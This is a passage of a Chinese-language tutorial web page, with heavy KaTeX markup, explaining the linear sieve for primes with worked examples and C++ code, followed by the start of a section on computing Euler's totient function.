encoding="application/x-tex">i=6</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6595em;"></span><span class="mord mathnormal">i</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">6</span></span></span></span>，6已被標記為合數，因此不加入<code>prime</code>，此時<code>prime = {2,3,5}</code>。將所有可以被表示為<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>p</mi><mo>⋅</mo><mn>6</mn></mrow><annotation encoding="application/x-tex">p\cdot 6</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6389em;vertical-align:-0.1944em;"></span><span class="mord mathnormal">p</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">⋅</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">6</span></span></span></span>的合數標記出來，其中<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>p</mi></mrow><annotation encoding="application/x-tex">p</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.625em;vertical-align:-0.1944em;"></span><span class="mord mathnormal">p</span></span></span></span>為小於等於<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>i</mi><mo stretchy="false">(</mo><mo>=</mo><mn>6</mn><mo stretchy="false">)</mo></mrow><annotation encoding="application/x-tex">i(=6)</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal">i</span><span class="mopen">(</span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord">6</span><span class="mclose">)</span></span></span></span>的質數。因此12, 18, 30被標記為合數。</li></ul><p>我們發現12被重複標記了，往回看可以看到當<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>i</mi><mo>=</mo><mn>4</mn></mrow><annotation encoding="application/x-tex">i=4</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6595em;"></span><span class="mord mathnormal">i</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">4</span></span></span></span>時，<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mn>12</mn><mo stretchy="false">(</mo><mo>=</mo><mn>3</mn><mo>⋅</mo><mn>4</mn><mo stretchy="false">)</mo></mrow><annotation encoding="application/x-tex">12(=3\cdot 4)</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord">12</span><span class="mopen">(</span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">3</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">⋅</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord">4</span><span class="mclose">)</span></span></span></span>被3這個質數篩掉了，但我們希望12是被他的最小質因數2篩掉啊！這代表我們在<code>i=4</code>時要做一些事，讓12這個數被留到<code>i=6</code>，才由2這個質數(因為<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mn>12</mn><mo>=</mo><mn>2</mn><mo>⋅</mo><mn>6</mn></mrow><annotation encoding="application/x-tex">12=2\cdot 6</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">12</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">2</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">⋅</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">6</span></span></span></span>，2是12的最小質因數)篩掉。<br>我們可以注意到<code>prime</code>中的質數是由小到大排列的，所以我們可以在迴圈中多加一個判斷式：對於每個質數<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>p</mi></mrow><annotation encoding="application/x-tex">p</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.625em;vertical-align:-0.1944em;"></span><span class="mord mathnormal">p</span></span></span></span>，都判斷<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>p</mi></mrow><annotation encoding="application/x-tex">p</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.625em;vertical-align:-0.1944em;"></span><span class="mord mathnormal">p</span></span></span></span>是否整除<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>i</mi></mrow><annotation encoding="application/x-tex">i</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6595em;"></span><span class="mord mathnormal">i</span></span></span></span>，這樣找出來的第一個質數便為<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>i</mi></mrow><annotation encoding="application/x-tex">i</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6595em;"></span><span class="mord mathnormal">i</span></span></span></span>的最小質因數。一旦遇到了<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>i</mi></mrow><annotation encoding="application/x-tex">i</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6595em;"></span><span class="mord mathnormal">i</span></span></span></span>的最小質因數，後面的數就不用再乘了，因為這些乘出來的數要留給他們的最小質因數篩。<br>看上去很抽象，我們一樣以小數字舉例：</p><ul><li><code>i=4</code>時，首先乘以<code>p=2</code>得到8，篩掉，沒問題，接著判斷發現<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mn>2</mn><mo>∣</mo><mn>4</mn></mrow><annotation encoding="application/x-tex">2\mid4</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord">2</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">∣</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">4</span></span></span></span>，所以直接<code>break;</code>(即不用考慮後面的<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mn>3</mn><mo>⋅</mo><mn>4</mn><mo>=</mo><mn>12</mn></mrow><annotation encoding="application/x-tex">3\cdot 4=12</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">3</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">⋅</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">4</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">12</span></span></span></span>，因為<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>i</mi><mo stretchy="false">(</mo><mo>=</mo><mn>4</mn><mo stretchy="false">)</mo></mrow><annotation encoding="application/x-tex">i(=4)</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal">i</span><span class="mopen">(</span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord">4</span><span class="mclose">)</span></span></span></span>的最小質因數已經為<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mn>2</mn></mrow><annotation encoding="application/x-tex">2</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">2</span></span></span></span>，所以<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>p</mi><mo>⋅</mo><mi>i</mi></mrow><annotation encoding="application/x-tex">p\cdot i</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6389em;vertical-align:-0.1944em;"></span><span class="mord mathnormal">p</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">⋅</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.6595em;"></span><span class="mord mathnormal">i</span></span></span></span>的最小質因數不會比<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mn>2</mn></mrow><annotation encoding="application/x-tex">2</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">2</span></span></span></span>還大，故不該被比2大的質數(如這裡的3)給篩掉)</li><li><code>i=6</code>時，首先乘以<code>p=2</code>得到12，篩掉，沒問題，接著判斷發現<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mn>2</mn><mo>∣</mo><mn>6</mn></mrow><annotation encoding="application/x-tex">2\mid6</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord">2</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">∣</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">6</span></span></span></span>，所以直接<code>break;</code>(後面的<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mn>3</mn><mo>⋅</mo><mn>6</mn></mrow><annotation encoding="application/x-tex">3\cdot 6</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">3</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">⋅</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">6</span></span></span></span>跟<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mn>5</mn><mo>⋅</mo><mn>6</mn></mrow><annotation encoding="application/x-tex">5\cdot 6</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">5</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">⋅</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">6</span></span></span></span>的最小質因數都2，因此不該在這時由3、5篩掉)</li></ul><h2 id="code" tabindex="-1" id="Code">Code</h2><pre class="line-numbers language-cpp" data-language="cpp"><code class="language-cpp"><span class="token macro property"><span class="token directive-hash">#</span><span class="token directive keyword">include</span><span class="token string">&lt;bits/stdc++.h></span></span>std<span class="token double-colon punctuation">::</span>vector<span class="token operator">&lt;</span><span class="token keyword">int</span><span class="token operator">></span> prime<span class="token punctuation">;</span><span class="token keyword">bool</span> not_prime<span class="token punctuation">[</span>N<span class="token operator">+</span><span class="token number">1</span><span class="token punctuation">]</span><span class="token punctuation">;</span><span class="token keyword">void</span> <span class="token function">pre</span><span class="token punctuation">(</span><span class="token keyword">int</span> n<span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>  <span class="token keyword">for</span> <span class="token punctuation">(</span><span class="token keyword">int</span> i<span class="token operator">=</span><span class="token number">2</span><span class="token punctuation">;</span> i<span class="token operator">&lt;=</span>n<span class="token punctuation">;</span> i<span class="token operator">++</span><span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>    <span class="token keyword">if</span> <span class="token punctuation">(</span><span class="token operator">!</span>not_prime<span class="token punctuation">[</span>i<span class="token punctuation">]</span><span class="token punctuation">)</span> prime<span class="token punctuation">.</span><span class="token function">push_back</span><span class="token punctuation">(</span>i<span class="token punctuation">)</span><span class="token punctuation">;</span>    <span class="token keyword">for</span> <span class="token punctuation">(</span><span class="token keyword">int</span> p <span class="token operator">:</span> prime<span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>      <span class="token keyword">if</span> <span class="token punctuation">(</span>i<span class="token operator">*</span>p <span class="token operator">></span> n<span class="token punctuation">)</span> <span class="token keyword">break</span><span class="token punctuation">;</span>      not_prime<span class="token punctuation">[</span>i<span class="token operator">*</span>p<span class="token punctuation">]</span> <span class="token operator">=</span> <span class="token boolean">true</span><span class="token punctuation">;</span>      <span class="token keyword">if</span> <span class="token punctuation">(</span>i<span class="token operator">%</span>p <span class="token operator">==</span> <span class="token number">0</span><span class="token punctuation">)</span> <span class="token keyword">break</span><span class="token punctuation">;</span>    <span class="token punctuation">&#125;</span>  <span class="token punctuation">&#125;</span><span class="token punctuation">&#125;</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><h1 id="%E7%B7%9A%E6%80%A7%E7%AF%A9%E6%B1%82%E6%AD%90%E6%8B%89%E5%87%BD%E6%95%B8" tabindex="-1">線性篩求歐拉函數</h1><p>在線性篩的過程中結合動態規劃，我們能達到意想不到的效果。首先是「歐拉函數」的計算。<br>歐拉函數<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>ϕ</mi><mo stretchy="false">(</mo><mi>n</mi><mo stretchy="false">)</mo></mrow><annotation encoding="application/x-tex">\phi(n)</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal">ϕ</span><span class="mopen">(</span><span class="mord mathnormal">n</span><span class="mclose">)</span></span></span></span>表示小於等於<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>n</mi></mrow><annotation encoding="application/x-tex">n</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal">n</span></span></span></span>且與<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>n</mi></mrow><annotation encoding="application/x-tex">n</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal">n</span></span></span></span>互質的正整數個數。比如<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>ϕ</mi><mo stretchy="false">(</mo><mn>10</mn><mo stretchy="false">)</mo><mo>=</mo><mn>4</mn></mrow><annotation encoding="application/x-tex">\phi(10)=4</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal">ϕ</span><span class="mopen">(</span><span class="mord">10</span><span class="mclose">)</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">4</span></span></span></span><br>因為1~10中，1,3,7,9共四個數與10互質。</p><h2 id="%E6%AD%90%E6%8B%89%E5%87%BD%E6%95%B8%E7%9A%84%E6%80%A7%E8%B3%AA" tabindex="-1" id="歐拉函數的性質">歐拉函數的性質</h2><ol><li>若<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>p</mi></mrow><annotation encoding="application/x-tex">p</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.625em;vertical-align:-0.1944em;"></span><span class="mord mathnormal">p</span></span></span></span>為質數，<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>ϕ</mi><mo stretchy="false">(</mo><mi>p</mi><mo stretchy="false">)</mo><mo>=</mo><mi>p</mi><mo>−</mo><mn>1</mn></mrow><annotation encoding="application/x-tex">\phi(p)=p-1</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal">ϕ</span><span class="mopen">(</span><span class="mord mathnormal">p</span><span class="mclose">)</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.7778em;vertical-align:-0.1944em;"></span><span class="mord mathnormal">p</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">−</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">1</span></span></span></span></li><li>若<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>p</mi></mrow><annotation encoding="application/x-tex">p</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.625em;vertical-align:-0.1944em;"></span><span class="mord mathnormal">p</span></span></span></span>為質數，<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>ϕ</mi><mo stretchy="false">(</mo><msup><mi>p</mi><mi>k</mi></msup><mo stretchy="false">)</mo><mo>=</mo><msup><mi>p</mi><mi>k</mi></msup><mo>−</mo><msup><mi>p</mi><mrow><mi>k</mi><mo>−</mo><mn>1</mn></mrow></msup><mo>=</mo><msup><mi>p</mi><mi>k</mi></msup><mrow><mo fence="true">(</mo><mn>1</mn><mo>−</mo><mfrac><mn>1</mn><mi>p</mi></mfrac><mo fence="true">)</mo></mrow></mrow><annotation encoding="application/x-tex">\phi(p^k)=p^k-p^{k-1}=p^k\left(1-\frac{1}{p}\right)</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1.0991em;vertical-align:-0.25em;"></span><span class="mord mathnormal">ϕ</span><span class="mopen">(</span><span class="mord"><span class="mord mathnormal">p</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8491em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight" style="margin-right:0.0315em;">k</span></span></span></span></span></span></span></span><span class="mclose">)</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1.0435em;vertical-align:-0.1944em;"></span><span class="mord"><span class="mord mathnormal">p</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8491em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight" style="margin-right:0.0315em;">k</span></span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">−</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:1.0435em;vertical-align:-0.1944em;"></span><span class="mord"><span class="mord mathnormal">p</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8491em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight" style="margin-right:0.0315em;">k</span><span class="mbin mtight">−</span><span class="mord mtight">1</span></span></span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1.8em;vertical-align:-0.65em;"></span><span class="mord"><span class="mord mathnormal">p</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8491em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight" style="margin-right:0.0315em;">k</span></span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="minner"><span class="mopen delimcenter" style="top:0em;"><span class="delimsizing size2">(</span></span><span class="mord">1</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">−</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mord"><span class="mopen nulldelimiter"></span><span class="mfrac"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.8451em;"><span style="top:-2.655em;"><span class="pstrut" style="height:3em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight">p</span></span></span></span><span style="top:-3.23em;"><span class="pstrut" style="height:3em;"></span><span class="frac-line" style="border-bottom-width:0.04em;"></span></span><span style="top:-3.394em;"><span class="pstrut" style="height:3em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight">1</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.4811em;"><span></span></span></span></span></span><span class="mclose nulldelimiter"></span></span><span class="mclose delimcenter" style="top:0em;"><span class="delimsizing size2">)</span></span></span></span></span></span></li><li>歐拉函數為<strong>積性函數</strong>：若<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mo stretchy="false">(</mo><mi>a</mi><mo separator="true">,</mo><mi>b</mi><mo stretchy="false">)</mo><mo>=</mo><mn>1</mn></mrow><annotation encoding="application/x-tex">(a,b)=1</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mopen">(</span><span class="mord mathnormal">a</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal">b</span><span class="mclose">)</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">1</span></span></span></span>，則<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>ϕ</mi><mo stretchy="false">(</mo><mi>a</mi><mi>b</mi><mo stretchy="false">)</mo><mo>=</mo><mi>ϕ</mi><mo stretchy="false">(</mo><mi>a</mi><mo stretchy="false">)</mo><mi>ϕ</mi><mo stretchy="false">(</mo><mi>b</mi><mo stretchy="false">)</mo></mrow><annotation encoding="application/x-tex">\phi(ab)=\phi(a)\phi(b)</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal">ϕ</span><span class="mopen">(</span><span class="mord mathnormal">ab</span><span class="mclose">)</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal">ϕ</span><span class="mopen">(</span><span class="mord mathnormal">a</span><span class="mclose">)</span><span class="mord mathnormal">ϕ</span><span class="mopen">(</span><span class="mord mathnormal">b</span><span class="mclose">)</span></span></span></span></li><li>歐拉函數一般式：<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>ϕ</mi><mo stretchy="false">(</mo><mi>n</mi><mo stretchy="false">)</mo><mo>=</mo><mi>n</mi><munder><mo>∏</mo><mrow><mi>p</mi><mo>∈</mo><mi>S</mi></mrow></munder><mrow><mo fence="true">(</mo><mrow><mn>1</mn><mo>−</mo><mfrac><mn>1</mn><mi>p</mi></mfrac></mrow><mo fence="true">)</mo></mrow></mrow><annotation encoding="application/x-tex">\phi(n)=n\prod\limits_{p\in S}\left({1-\frac{1}{p}}\right)</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal">ϕ</span><span class="mopen">(</span><span class="mord mathnormal">n</span><span class="mclose">)</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:2.2804em;vertical-align:-1.1304em;"></span><span class="mord mathnormal">n</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mop op-limits"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.75em;"><span style="top:-2.1057em;margin-left:0em;"><span class="pstrut" style="height:3em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight">p</span><span class="mrel mtight">∈</span><span class="mord mathnormal mtight" style="margin-right:0.0576em;">S</span></span></span></span><span style="top:-3em;"><span class="pstrut" style="height:3em;"></span><span><span class="mop op-symbol small-op">∏</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:1.1304em;"><span></span></span></span></span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="minner"><span class="mopen delimcenter" style="top:0em;"><span class="delimsizing size2">(</span></span><span class="mord"><span class="mord">1</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">−</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mord"><span class="mopen nulldelimiter"></span><span class="mfrac"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.8451em;"><span style="top:-2.655em;"><span class="pstrut" style="height:3em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight">p</span></span></span></span><span style="top:-3.23em;"><span class="pstrut" style="height:3em;"></span><span class="frac-line" style="border-bottom-width:0.04em;"></span></span><span style="top:-3.394em;"><span class="pstrut" style="height:3em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight">1</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.4811em;"><span></span></span></span></span></span><span class="mclose nulldelimiter"></span></span></span><span class="mclose delimcenter" style="top:0em;"><span class="delimsizing size2">)</span></span></span></span></span></span>，<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>S</mi></mrow><annotation encoding="application/x-tex">S</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord mathnormal" style="margin-right:0.0576em;">S</span></span></span></span>為<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>n</mi></mrow><annotation encoding="application/x-tex">n</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal">n</span></span></span></span>的所有質因數的集合</li></ol><h2 id="%E5%8E%9F%E7%90%86%E5%88%86%E6%9E%90" tabindex="-1" id="原理分析">原理分析</h2><p>我們的目標是結合動態規劃(用前一個算後面的)，並運用到線性篩能找出最小質因數的特性。<br>設<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msub><mi>p</mi><mi>n</mi></msub></mrow><annotation encoding="application/x-tex">p_n</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.625em;vertical-align:-0.1944em;"></span><span class="mord"><span class="mord mathnormal">p</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.1514em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">n</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span></span>為<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>n</mi></mrow><annotation encoding="application/x-tex">n</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal">n</span></span></span></span>的最小質因數，令<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msup><mi>n</mi><mo mathvariant="normal">′</mo></msup><mo>=</mo><mfrac><mi>n</mi><msub><mi>p</mi><mi>n</mi></msub></mfrac></mrow><annotation encoding="application/x-tex">n^\prime=\frac{n}{p_n}</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.7519em;"></span><span 